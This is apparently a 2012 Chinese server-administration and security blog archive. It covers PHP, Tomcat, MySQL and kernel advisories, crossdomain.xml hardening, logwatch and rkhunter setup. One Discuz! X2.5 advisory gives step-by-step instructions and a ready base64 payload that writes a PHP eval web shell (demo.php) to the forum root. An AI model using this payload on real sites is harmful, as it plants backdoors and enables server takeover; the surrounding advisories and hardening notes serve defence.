查看了下/dev/null变成600了,在执行/etc/profile.d/*.sh下脚本时没报没有权限.
- rm -f /dev/null
- mknod -m 666 /dev/null c 1 3
关注互联网、网页设计、Web开发、服务器运维优化、项目管理、网站运营…
漏洞版本:
PHP 5.3.x
漏洞描述:
BUGTRAQ ID: 53403
CVE ID: CVE-2012-1172
PHP在实现上存在目录遍历漏洞,远程攻击者可利用带有目录遍历序列的特制请求检索、破坏或上传任意位置上的任意文件。
<* 参考
https://bugzilla.redhat.com/show_bug.cgi?id=799187
*>
安全建议:
厂商补丁:
PHP
—
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
PHP 5.3.11 and 5.4.1 fix this
Posted in 安全通告.
– 2012/05/09
discuz,uchome,ucenter的根目录下都会有这个crossdomain.xml
此文件为flash在跨域时的限制策略,如果没有跨域需求记得限制在当前域名下
默认文件
修改为只充许*.c1gstudio.com
参考discuz的修改
http://www.discuz.net/crossdomain.xml
http://x.discuz.net/crossdomain.xml
http://www.80sec.com/flash-security-polic.html
Posted in Discuz/Uchome/Ucenter, 安全.
– 2012/05/09
logwatch 是用perl写的一款方便小巧的日志查看工具,可以每天给你发一封格化后的系统信息邮件;
包含crontab运行中的脚本、ssh登录及失败用户ip、su及sudo用户、磁盘空间及邮件等情况…
一般系统中都默认安装它,只需简单配置下就可运行.
http://www.logwatch.org/
目前最新版为logwatch-7.4.0,logwatch-7.3.6
centos里yum装的为logwatch-7.3.6
安装
rpm -Ivh logwatch***.rpm
升级
rpm -Uvh logwatch***.rpm
yum安装升级
yum -y install logwatch
logwatch默认每天执行一次,可以从/etc/cron.daily里看到
ll /etc/cron.daily/
红帽as4系统中配置文件位于/etc/log.d/logwatch.conf
Posted in 安全.
– 2012/05/02
PHP 5.3.0 新增了两个错误等级: E_DEPRECATED 和 E_USER_DEPRECATED. 错误等级 E_DEPRECATED 被用来说明一个函数或者功能已经被弃用. E_USER_DEPRECATED 等级目的在于表明用户代码中的弃用功能, 类似于 E_USER_ERROR 和 E_USER_WARNING等级.下面是被弃用的 INI 指令列表. 使用下面任何指令都将导致 E_DEPRECATED 错误.
define_syslog_variables
register_globals
register_long_arrays
safe_mode
magic_quotes_gpc
magic_quotes_runtime
magic_quotes_sybase
弃用的函数:
call_user_method() (使用 call_user_func() 替代)
call_user_method_array() (使用 call_user_func_array() 替代)
define_syslog_variables()
dl()
ereg() (使用 preg_match() 替代)
ereg_replace() (使用 preg_replace() 替代)
eregi() (使用 preg_match() 配合 ‘i’ 修正符替代)
eregi_replace() (使用 preg_replace() 配合 ‘i’ 修正符替代)
set_magic_quotes_runtime() 以及它的别名函数 magic_quotes_runtime()
session_register() (使用 $_SESSION 超全部变量替代)
session_unregister() (使用 $_SESSION 超全部变量替代)
session_is_registered() (使用 $_SESSION 超全部变量替代)
set_socket_blocking() (使用 stream_set_blocking() 替代)
split() (使用 preg_split() 替代)
spliti() (使用 preg_split() 配合 ‘i’ 修正符替代)
sql_regcase()
mysql_db_query() (使用 mysql_select_db() 和 mysql_query() 替代)
mysql_escape_string() (使用 mysql_real_escape_string() 替代)
不向下兼容的变化
尽管大多数现有的 PHP 5 代码无需改变就可以工作,但是请注意一些不向下兼容的变化:
在 PHP 5.3.x 的所有绑定扩展中应用了新的内部参数解析API, 当给函数传递了不兼容的参数时将返回 NULL. 但有一些例外,比如函数 get_class() 在出现错误时将会返回 FALSE.
clearstatcache() 默认不再清除缓存的 realpath.
realpath() 现在是完全与平台无关的. 结果是非法的相对路径比如 __FILE__ . “/../x” 将不会工作.
call_user_func() 系列函数即使被调用者是一个父类也使用 $this.
数组函数 natsort(), natcasesort(), usort(), uasort(), uksort(), array_flip(), 和 array_unique() 将不再接受对象作为参数. 在将这些函数应用于对象时, 请首先将对象转换为数组.
按引用传递参数的函数在被按值传递调用时行为发生改变. 此前函数将接受按值传递的参数, 现在将抛出致命错误. 之前任何期待传递引用但是在调用时传递了常量或者字面值 的函数, 需要在调用前改为将该值赋给一个变量。
新的 mysqlnd 库需要使用 MySQL 4.1 新的 41 字节密码格式。继续使用旧的 16 字节密码将导致 mysql_connect() 和其它类似函数 抛出 “mysqlnd cannot connect to MySQL 4.1+ using old authentication.” 错误.
新的 mysqlnd 库将不再读取 MySQL 配置文件(my.cnf/my.ini), 这与旧版本的 libmysql 库不同. 如果你的代码依赖于这些配置 文件, 你可以使用 mysqli_options() 显式地加载它. 注意, 这意味着如果 PDO 中的 MySQL 支持使用了 mysqlnd 进行编译,PDO 特有常量 PDO::MYSQL_ATTR_READ_DEFAULT_FILE 和 PDO::MYSQL_ATTR_READ_DEFAULT_GROUP 将是未定义的.
SplFileInfo 及其相关目录类会移除末尾的 /.
__toString 魔术方法不再接受参数.
魔术方法 __get, __set, __isset, __unset, and __call 应该总是公共的(public)且不能是静态的(static). 方法签名是必须的.
现在 __call 魔术方法在访问私有的(private)和被保护的(protected)方法时被调用.
函数内 include() 或者 require() 一个文件时,文件内 将不能使用 func_get_arg(), func_get_args() 和 func_num_args() 函数。
新增了一个包裹在 MHASH 扩展外面的仿真层。但是并非所有的算法都涉及到了,值得注意的是 s2k 哈希算法。这意味着 s2k 哈希算法在 PHP 5.3.0 中不再可用。
转自:http://www.rootsec.org/post/php-5-3-x%E4%B8%AD%E5%90%AF%E7%94%A8%E7%9A%84%E5%8A%9F%E8%83%BD%E5%92%8C%E5%87%BD%E6%95%B0.html
Posted in PHP.
– 2012/04/28
发布时间: 2012-04-27
漏洞版本:Discuz! X2.5Release20120407
漏洞描述:
Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号,在实现上存在远程命令执行漏洞, 远程攻击者可利用此漏洞执行远程任意代码。要成功利用此漏洞需要目标启用seo功能。
测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1,注册任意账户
2,登陆用户,发表blog日志(注意是日志)
3,添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4,访问日志,论坛根目录下生成demo.php,一句话密码C
Discuz已经发布了新版Discuz! X2.5 R20120427
http://www.discuz.net/thread-2744369-1-1.html
参考
http://sebug.net/vuldb/ssvid-60082
http://www.wooyun.org/bugs/wooyun-2012-06420
http://yaonie.org/archives/165
补充:PHP 5.4/5.3弃用eregi()函数内存限制绕过漏洞
危害
远程攻击者可以利用漏洞耗尽系统内存。
攻击所需条件
攻击者必须访问PHP应用。
漏洞信息
PHP 5.3之后弃用了基于POSIX规则表达式的函数如eregi,但在5.4.0版本中仍然使用这些函数,可被利用绕过memory_limit,通过eregi()耗尽内存。
测试方法
http://cxsecurity.com/issue/WLB-2012030271
漏洞消息链接
http://marc.info/?l=bugtraq&m=133311683110469&w=2
漏洞消息标题
PHP 5.4/5.3 deprecated eregi() memory_limit bypass
Posted in Discuz/Uchome/Ucenter, 安全通告.
– 2012/04/28
Apache Tomcat 6.0.35前有信息泄露相关的一个漏洞(CVE-2011-3375),
以及另一个在此前广受关注的哈希碰撞引发拒绝服务(DoS)漏洞(CVE-2012-0022),
Apache 建议用户对 Tomcat 进行升级从而规避此漏洞。
http://tomcat.apache.org/security-6.html
一.安装Oracle JRockit
使用Oracle JRockit 可以提高tomcat性能
当前版本Oracle JRockit 6 – R28.2.3
Includes JRockit Mission Control 4.1 and JRockit Real Time 4.1
http://download.oracle.com/otn/bea/jrockit/jrockit-jdk1.6.0_31-R28.2.3-4.1.0-linux-x64.bin
需登录后下载
遇到以下错误可能是/tmp没有执行权限
按照提示一步步安装到
/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0
做个软链接
二.安装apr
yum install apr apr-util apr-devel
tomcat需要tomcat-native,而tomcat-native需要apr和openssl
没有apr启动tomcat可能会有以下错误
三.tomcat 安装
tomcat安装在/opt/下
四.安装tomcat-native
五.编辑变量
vi /etc/profile
重新载入
source /etc/profile
六.迁移服务及应用
关闭tomcat
/opt/tomcat/bin/shutdown.sh
删除软链接
启动tomcat
/opt/tomcat/bin/startup.sh
检查日志及服务
tail -n100 /opt/tomcat/logs/catalina.out
参考:
tomcat安全设置
优化tomcat 内存
CentOs5.2安装tomcat
使用Oracle JRockit 提高tomcat性能
– 2012/04/20
centos/rhel 6.x部分kernel版本由于计数器溢出的bug,208.5天后可能会造成kernel panic
https://rhn.redhat.com/errata/RHBA-2012-0124.html
Updated kernel packages that fix one bug are now available for Red Hat
Enterprise Linux 6.
The kernel packages contain the Linux kernel, the core of any Linux operating
system.
This update fixes the following bug:
* An insufficiently designed calculation in the CPU accelerator in the previous
kernel caused an arithmetic overflow in the sched_clock() function when system
uptime exceeded 208.5 days. This overflow led to a kernel panic on the systems
using the Time Stamp Counter (TSC) or Virtual Machine Interface (VMI) clock
source. This update corrects the aforementioned calculation so that this
arithmetic overflow and kernel panic can no longer occur under these
circumstances. (BZ#781974)
All users are advised to upgrade to these updated packages, which fix this bug.
The system must be rebooted for this update to take effect.
参考:
http://hi.baidu.com/beibeiboo/blog/item/90a5d3ec8f41570762d09f89.html
Posted in 安全通告.
– 2012/04/20
This Critical Patch Update contains 6 new security fixes for Oracle MySQL. None of these vulnerabilities may be remotely exploitable without authentication, i.e., none may be exploited over a network without the need for a username and password. The English text form of this Risk Matrix can be found here.
| CVE# | Component | Protocol | Sub- component |
Remote Exploit without Auth.? | CVSS VERSION 2.0 RISK (see Risk Matrix Definitions) | Supported Versions Affected | Notes | ||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Base Score | Access Vector | Access Complexity | Authen- tication |
Confiden- tiality |
Integrity | Avail- ability |
|||||||
| CVE-2012-1703 | MySQL Server | MySQL Protocol | Server Optimizer | No | 6.8 | Network | Low | Single | None | None | Complete | 5.1.61 and earlier, 5.5.21 and earlier | |
| CVE-2012-0583 | MySQL Server | MySQL Protocol | MyISAM | No | 4.0 | Network | Low | Single | None | None | Partial+ | 5.1.60 and earlier, 5.5.19 and earlier | |
| CVE-2012-1697 | MySQL Server | MySQL Protocol | Partition | No | 4.0 | Network | Low | Single | None | None | Partial+ | 5.5.21 and earlier | |
| CVE-2012-1688 | MySQL Server | MySQL Protocol | Server DML | No | 4.0 | Network | Low | Single | None | None | Partial+ | 5.1.61 and earlier, 5.5.21 and earlier | |
| CVE-2012-1696 | MySQL Server | MySQL Protocol | Server Optimizer | No | 4.0 | Network | Low | Single | None | None | Partial+ | 5.5.19 and earlier | |
| CVE-2012-1690 | MySQL Server | MySQL Protocol | Server Optimizer | No | 4.0 | Network | Low | Single | None | None | Partial+ | 5.1.61 and earlier, 5.5.21 and earlier | |
This table provides the text form of the Risk Matrix for Oracle MySQL.
| CVE Identifier | Description |
|---|---|
| CVE-2012-0583 | Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: MyISAM). Supported versions that are affected are 5.1.60 and earlier and 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory] |
| CVE-2012-1688 | Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server DML). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory] |
| CVE-2012-1690 | Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory] |
| CVE-2012-1696 | Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.5.19 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory] |
| CVE-2012-1697 | Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Partition). Supported versions that are affected are 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server.CVSS Base Score 4.0 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:P). (legend) [Advisory] |
| CVE-2012-1703 | Vulnerability in the MySQL Server component of Oracle MySQL (subcomponent: Server Optimizer). Supported versions that are affected are 5.1.61 and earlier and 5.5.21 and earlier. Easily exploitable vulnerability allows successful authenticated network attacks via multiple protocols. Successful attack of this vulnerability can result in unauthorized Operating System hang or frequently repeatable crash (complete DOS).CVSS Base Score 6.8 (Availability impacts). CVSS V2 Vector: (AV:N/AC:L/Au:S/C:N/I:N/A:C). (legend) [Advisory] |
Posted in 安全通告.
– 2012/04/19
rkhunter是Linux下的一款开源入侵检测工具。rkhunter具有比chrootkit更为全面的扫描范围。除rootkit特征码扫描外,rkhunter还支持端口扫描,常用开源软件版本和文件变动情况检查等。
rkhunter的官方网站位于http://www.rootkit.nl/,目前最新的版本是rkhunter-1.3.8。
centos5.8
Linux C1gstudio 2.6.18-308.el5 #1 SMP Tue Feb 21 20:06:06 EST 2012 x86_64 x86_64 x86_64 GNU/Linux
一.安装
安装到自定义目录/usr/local/rkhunter
/usr/local/rkhunter/bin/rkhunter –help
更新db
/usr/local/rkhunter/bin/rkhunter –update
ll /usr/local/rkhunter/var/lib/rkhunter/db/
在系统“干净”的时候产生对比文件
/usr/local/rkhunter/bin/rkhunter –propupd
[ Rootkit Hunter version 1.3.8 ]
File created: searched for 164 files, found 135
多了rkhunter.dat,rkhunter_prop_list.dat文件
ll /usr/local/rkhunter/var/lib/rkhunter/db/
二.开始检查,有问题会红色的Warning 提示
/usr/local/rkhunter/bin/rkhunter -c –sk
相应产生的日志
# cat /var/log/rkhunter.log |grep Warning
三.修正误报
可以看到上面信息基本为误报
还有更新了部分包可能会因起No hash value found错误;
grep是安装nginx时更新了pcre
amd是安装sasl认证
使用prelink可以查看
cp /usr/local/rkhunter/etc/rkhunter.conf{,.bak}
网上部分脚本已失效,我对此作了些修改
再次更新和检测
/usr/local/rkhunter/bin/rkhunter –propupd
跳过按键只输出warning,不再有显示
/usr/local/rkhunter/bin/rkhunter -c –sk –rwo
四.自动报告
每天5点检测并发送通知邮件
vi /var/spool/cron/root
参考:http://sourceforge.net/apps/trac/rkhunter/wiki/SPRKH#Introduction
===============2012-4-18更新
修正应更新而产生的误报,运行时检查文件存,如果文件不存在就不要加在里面
hdparm 的Xzibit Rootkit
===============2012-4-28更新
修正The file properties have changed
rkhunter在crontab中运行和手功运行有差异
就算你在配置文件中写了IGNORE_PRELINK_DEP_ERR,在日志中还是会有
[05:45:10] /usr/bin/less [ Warning ]
[05:45:10] Warning: The file properties have changed:
prelink /usr/bin/less
#增加库链接
echo ‘-l /usr/local/lib’ >> /etc/prelink.conf
#再次执行就没错了,把每个prelink出错的命令都运行下
prelink /usr/bin/less
#修改配置文件将IGNORE_PRELINK_DEP_ERR 提到USER_FILEPROP_FILES_DIRS下面
#再rkhunter –propupd更新
#使用conrtab调试不再报错
Posted in 安全.
– 2012/04/16
近期评论